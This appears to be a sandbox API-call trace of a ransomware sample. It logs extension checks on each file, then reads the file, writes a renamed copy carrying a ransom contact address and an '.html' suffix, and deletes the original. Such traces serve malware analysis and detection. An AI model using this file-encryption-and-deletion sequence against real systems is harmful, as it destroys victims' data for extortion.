	[0062.593] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1
	[0062.593] lstrlenW (lpString=".pdf") returned 4
	[0062.593] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.593] lstrlenW (lpString=".xls") returned 4
	[0062.593] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.593] lstrlenW (lpString=".xlsx") returned 5
	[0062.593] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1
	[0062.593] lstrlenW (lpString=".ppt") returned 4
	[0062.593] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0062.593] lstrlenW (lpString=".zip") returned 4
	[0062.593] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.593] lstrlenW (lpString=".rar") returned 4
	[0062.593] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.593] lstrlenW (lpString=".bz2") returned 4
	[0062.593] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.593] lstrlenW (lpString=".7z") returned 3
	[0062.594] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0062.594] lstrlenW (lpString=".dbf") returned 4
	[0062.594] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0062.594] lstrlenW (lpString=".1cd") returned 4
	[0062.594] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0062.594] lstrlenW (lpString=".jpg") returned 4
	[0062.594] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0062.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0062.594] lstrlenW (lpString=".doc") returned 4
	[0062.594] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.594] lstrlenW (lpString=".docx") returned 5
	[0062.594] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1
	[0062.594] lstrlenW (lpString=".pdf") returned 4
	[0062.594] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.594] lstrlenW (lpString=".xls") returned 4
	[0062.594] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.594] lstrlenW (lpString=".xlsx") returned 5
	[0062.594] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1
	[0062.594] lstrlenW (lpString=".ppt") returned 4
	[0062.594] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0062.594] lstrlenW (lpString=".zip") returned 4
	[0062.594] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.594] lstrlenW (lpString=".rar") returned 4
	[0062.594] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.594] lstrlenW (lpString=".bz2") returned 4
	[0062.594] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.595] lstrlenW (lpString=".7z") returned 3
	[0062.595] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0062.595] lstrlenW (lpString=".dbf") returned 4
	[0062.595] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0062.595] lstrlenW (lpString=".1cd") returned 4
	[0062.595] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0062.595] lstrlenW (lpString=".jpg") returned 4
	[0062.595] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.595] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.595] lstrlenW (lpString="Rotate7.ico") returned 11
	[0062.595] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0062.595] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=894) returned 1
	[0062.595] CloseHandle (hObject=0x368) returned 1
	[0062.595] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80
	[0062.596] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.596] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0062.596] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.596] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.596] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0062.596] GetLastError () returned 0x0
	[0062.596] ReadFile (in: hFile=0x368, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0062.597] WriteFile (in: hFile=0x35c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x380, lpOverlapped=0x0) returned 1
	[0062.598] ReadFile (in: hFile=0x368, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.598] WriteFile (in: hFile=0x35c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xea, lpOverlapped=0x0) returned 1
	[0062.599] SetEndOfFile (hFile=0x35c) returned 1
	[0062.599] CloseHandle (hObject=0x35c) returned 1
	[0062.599] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.600] SetEndOfFile (hFile=0x368) returned 1
	[0062.600] CloseHandle (hObject=0x368) returned 1
	[0062.600] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.601] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1
	[0062.601] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0062.601] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0062.601] lstrlenW (lpString=".doc") returned 4
	[0062.601] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.601] lstrlenW (lpString=".docx") returned 5
	[0062.601] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1
	[0062.601] lstrlenW (lpString=".pdf") returned 4
	[0062.601] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.601] lstrlenW (lpString=".xls") returned 4
	[0062.601] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.601] lstrlenW (lpString=".xlsx") returned 5
	[0062.601] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1
	[0062.601] lstrlenW (lpString=".ppt") returned 4
	[0062.601] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.601] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0062.601] lstrlenW (lpString=".zip") returned 4
	[0062.602] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.602] lstrlenW (lpString=".rar") returned 4
	[0062.602] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.602] lstrlenW (lpString=".bz2") returned 4
	[0062.602] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.602] lstrlenW (lpString=".7z") returned 3
	[0062.602] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0062.602] lstrlenW (lpString=".dbf") returned 4
	[0062.602] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0062.602] lstrlenW (lpString=".1cd") returned 4
	[0062.602] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0062.602] lstrlenW (lpString=".jpg") returned 4
	[0062.602] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0062.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0062.602] lstrlenW (lpString=".doc") returned 4
	[0062.602] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.602] lstrlenW (lpString=".docx") returned 5
	[0062.602] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1
	[0062.602] lstrlenW (lpString=".pdf") returned 4
	[0062.602] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.602] lstrlenW (lpString=".xls") returned 4
	[0062.602] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.602] lstrlenW (lpString=".xlsx") returned 5
	[0062.602] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1
	[0062.602] lstrlenW (lpString=".ppt") returned 4
	[0062.602] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0062.603] lstrlenW (lpString=".zip") returned 4
	[0062.603] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.603] lstrlenW (lpString=".rar") returned 4
	[0062.968] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.968] lstrlenW (lpString=".bz2") returned 4
	[0062.968] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.968] lstrlenW (lpString=".7z") returned 3
	[0062.968] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0062.968] lstrlenW (lpString=".dbf") returned 4
	[0062.968] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0062.968] lstrlenW (lpString=".1cd") returned 4
	[0062.968] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0062.969] lstrlenW (lpString=".jpg") returned 4
	[0062.969] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.969] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1
	[0062.969] lstrlenW (lpString="netfx_Core_x86.msi") returned 18
	[0062.969] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0062.970] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=1163264) returned 1
	[0062.970] CloseHandle (hObject=0x2f8) returned 1
	[0062.970] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80
	[0062.970] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.970] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0062.970] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.971] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.971] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0062.971] GetLastError () returned 0x0
	[0062.971] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0063.002] WriteFile (in: hFile=0x364, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0063.774] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x1c010, lpOverlapped=0x0) returned 1
	[0063.787] WriteFile (in: hFile=0x364, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x1c020, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x1c020, lpOverlapped=0x0) returned 1
	[0064.184] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0064.184] WriteFile (in: hFile=0x364, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0064.184] SetEndOfFile (hFile=0x364) returned 1
	[0064.185] CloseHandle (hObject=0x364) returned 1
	[0064.211] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.211] SetEndOfFile (hFile=0x2f8) returned 1
	[0064.213] CloseHandle (hObject=0x2f8) returned 1
	[0064.213] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0064.213] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1
	[0064.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0064.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0064.213] lstrlenW (lpString=".doc") returned 4
	[0064.213] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0064.213] lstrlenW (lpString=".docx") returned 5
	[0064.213] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0064.213] lstrlenW (lpString=".pdf") returned 4
	[0064.213] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0064.213] lstrlenW (lpString=".xls") returned 4
	[0064.214] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0064.214] lstrlenW (lpString=".xlsx") returned 5
	[0064.214] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0064.214] lstrlenW (lpString=".ppt") returned 4
	[0064.214] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0064.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0064.214] lstrlenW (lpString=".zip") returned 4
	[0064.214] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0064.214] lstrlenW (lpString=".rar") returned 4
	[0064.214] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0064.214] lstrlenW (lpString=".bz2") returned 4
	[0064.214] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0064.214] lstrlenW (lpString=".7z") returned 3
	[0064.214] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0064.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0064.214] lstrlenW (lpString=".dbf") returned 4
	[0064.214] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0064.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0064.214] lstrlenW (lpString=".1cd") returned 4
	[0064.214] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0064.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0064.214] lstrlenW (lpString=".jpg") returned 4
	[0064.214] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0064.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0064.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0064.214] lstrlenW (lpString=".doc") returned 4
	[0064.214] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0064.214] lstrlenW (lpString=".docx") returned 5
	[0064.214] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0064.214] lstrlenW (lpString=".pdf") returned 4
	[0064.214] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0064.214] lstrlenW (lpString=".xls") returned 4
	[0064.215] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0064.215] lstrlenW (lpString=".xlsx") returned 5
	[0064.215] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0064.215] lstrlenW (lpString=".ppt") returned 4
	[0064.215] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0064.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0064.215] lstrlenW (lpString=".zip") returned 4
	[0064.215] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0064.215] lstrlenW (lpString=".rar") returned 4
	[0064.215] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0064.215] lstrlenW (lpString=".bz2") returned 4
	[0064.215] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0064.215] lstrlenW (lpString=".7z") returned 3
	[0064.215] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0064.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0064.215] lstrlenW (lpString=".dbf") returned 4
	[0064.215] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0064.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0064.215] lstrlenW (lpString=".1cd") returned 4
	[0064.215] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0064.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0064.215] lstrlenW (lpString=".jpg") returned 4
	[0064.215] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0064.215] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1
	[0064.215] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22
	[0064.215] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0064.724] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=872448) returned 1
	[0064.724] CloseHandle (hObject=0x350) returned 1
	[0064.724] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80
	[0064.724] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.724] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0064.724] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.725] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.725] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0064.725] GetLastError () returned 0x0
	[0064.725] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0xd5000, lpOverlapped=0x0) returned 1
	[0064.746] WriteFile (in: hFile=0x358, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xd5010, lpOverlapped=0x0) returned 1
	[0064.946] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0064.946] WriteFile (in: hFile=0x358, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x100, lpOverlapped=0x0) returned 1
	[0064.946] SetEndOfFile (hFile=0x358) returned 1
	[0065.218] CloseHandle (hObject=0x358) returned 1
	[0065.236] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.236] SetEndOfFile (hFile=0x350) returned 1
	[0065.244] CloseHandle (hObject=0x350) returned 1
	[0065.244] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0065.701] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1
	[0065.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0065.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0065.701] lstrlenW (lpString=".doc") returned 4
	[0065.701] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0065.701] lstrlenW (lpString=".docx") returned 5
	[0065.701] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0065.701] lstrlenW (lpString=".pdf") returned 4
	[0065.701] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0065.701] lstrlenW (lpString=".xls") returned 4
	[0065.701] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0065.701] lstrlenW (lpString=".xlsx") returned 5
	[0065.701] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0065.701] lstrlenW (lpString=".ppt") returned 4
	[0065.701] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0065.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0065.702] lstrlenW (lpString=".zip") returned 4
	[0065.702] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0065.702] lstrlenW (lpString=".rar") returned 4
	[0065.702] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0065.702] lstrlenW (lpString=".bz2") returned 4
	[0065.702] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0065.702] lstrlenW (lpString=".7z") returned 3
	[0065.702] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0065.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0065.702] lstrlenW (lpString=".dbf") returned 4
	[0065.702] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0065.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0065.702] lstrlenW (lpString=".1cd") returned 4
	[0065.702] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0065.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0065.702] lstrlenW (lpString=".jpg") returned 4
